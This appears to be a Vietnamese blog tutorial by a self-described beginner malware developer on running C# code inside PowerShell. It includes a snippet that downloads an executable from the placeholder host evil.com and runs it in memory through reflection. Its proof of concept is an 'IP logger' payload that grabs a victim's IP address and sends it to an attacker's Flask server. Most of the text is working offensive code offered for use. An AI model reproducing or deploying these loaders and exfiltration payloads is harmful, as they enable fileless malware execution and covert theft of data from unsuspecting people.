[CSHARP] Powershell In-File Execution of C# Code

Giới thiệu

Cách đây một thời gian tôi đã xem video của John Hammond về chủ đề này 17và nghĩ rằng đây sẽ là một phương pháp thú vị để thu nhỏ và giới thiệu.

Thực thi mã C# trong tệp Powershell 

Tuyên bố miễn trừ trách nhiệm: Tôi là người mới bắt đầu phát triển phần mềm độc hại, C# và Powershell, tôi sẽ đánh giá cao những lời chỉ trích.

Giải trình

Đầu tiên, chúng ta cần hiểu cách tải C# phổ biến nhất, thông qua một tệp thực thi:
Tìm nạp nội dung thực thi và gói gọn trong một mảng byte.

Tải nội dung thực thi bằng phương thức [System.Reflection.Assembly]::load().
Sử dụng Reflection để thực thi lắp ráp đã tải của chúng tôi.

Mã bên dưới tuân theo các bước sau:

$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)

# Create entrypoint object and call it.

$entry = 
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
   GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')

$entry.Invoke($null)

Chuỗi C#

Thay vì biên dịch và tải xuống một tệp thực thi, tại sao chúng ta không cung cấp một chuỗi nhiều dòng với mã C# mà chúng ta mong muốn và “load” nó như sau:
Add-Type @"
using System;
 
public class Payload {
 
    static void Execute() {
        while (true) {
            Console.WriteLine("wow :O");
        }
    }
}
 
"@
 
$pl = New-Object Payload
 
$pl.Execute()

Bây giờ tôi biết nếu bạn muốn cấu trúc mã của mình giống như một lập trình viên giỏi, với nhiều tệp và DLL, điều này có vẻ hơi tệ. Điểm cộng lớn của phương pháp này là bạn không cần tải xuống hoặc lưu trữ các mảng byte thực thi trong tập lệnh của mình.

Bằng chứng về khái niệm: Bộ lọc/ghi nhật ký IP

Là một bằng chứng đơn giản về khái niệm, chúng tôi sẽ xây dựng một trình ghi nhật ký IP cơ bản, tập lệnh lấy IP của nạn nhân từ https://ipinfo.io/ip 1và lọc nó vào URL độc ác của chúng tôi.:smiling_imp:

Máy chủ

Máy chủ tôi viết được viết bằng micro-framework Python có tên là Flask, bạn có thể tìm thấy mã bên dưới:
from flask import Flask, request

app = Flask(__name__)
database = [] # Psuedo database 


@app.route("/")
def index():
    ip = request.args.get("ip")
    print(f"[!] Grabbed IP: {ip}")
    database.append(ip)

    return "status: 200"

# Driver code
if __name__ == "__main__":
    app.run(port = 8080)

Tải trọng

Thành thật mà nói, tải trọng có thể được viết tốt hơn, các yêu cầu có thể được xử lý thông qua một chức năng duy nhất thay vì mở nhiều phiên bản HttpClient, nhưng tôi phải nhắc nhở bản thân rằng đây chỉ là một PoC. Mã dưới đây:
Add-Type @"
using System;
using System.Net.Http; 

public class Payload {
        public static string HandleGrab() {
                using (var client = new HttpClient()) {
                        var ipEp = new Uri("https://ipinfo.io/ip");
                        var res = client.GetAsync(ipEp).Result;

                        return res.Content.ReadAsStringAsync().Result;
                }
        }
 
        public static void Execute() {
                using (var client = new HttpClient()) {
                        var ipAddr = Payload.HandleGrab();

                        // Exfiltration process
                        var endpoint = new Uri($"http://localhost:8080/?ip={ipAddr}");
                        var res = client.GetAsync(endpoint).Result;
                        var resJson = res.Content.ReadAsStringAsync().Result;

                        Console.WriteLine(resJson);
                }
        }
}
"@

$pl = New-Object Payload

$pl.Execute()

Chúc mọi người thành công.

PASSWORD UNZIP: HUNG.PRO.VN
Chúc Mọi Người Thành Công Với Thủ Thuật Trên.
Nếu mọi người có vướng mắc gì mình chia sẽ trên trang có thể gửi liên hê cho mình tại đây nhé.
Cảm ơn mọi người đã quan tâm.

No comments:

All Right Reserved © 2015 By Hung Pro VN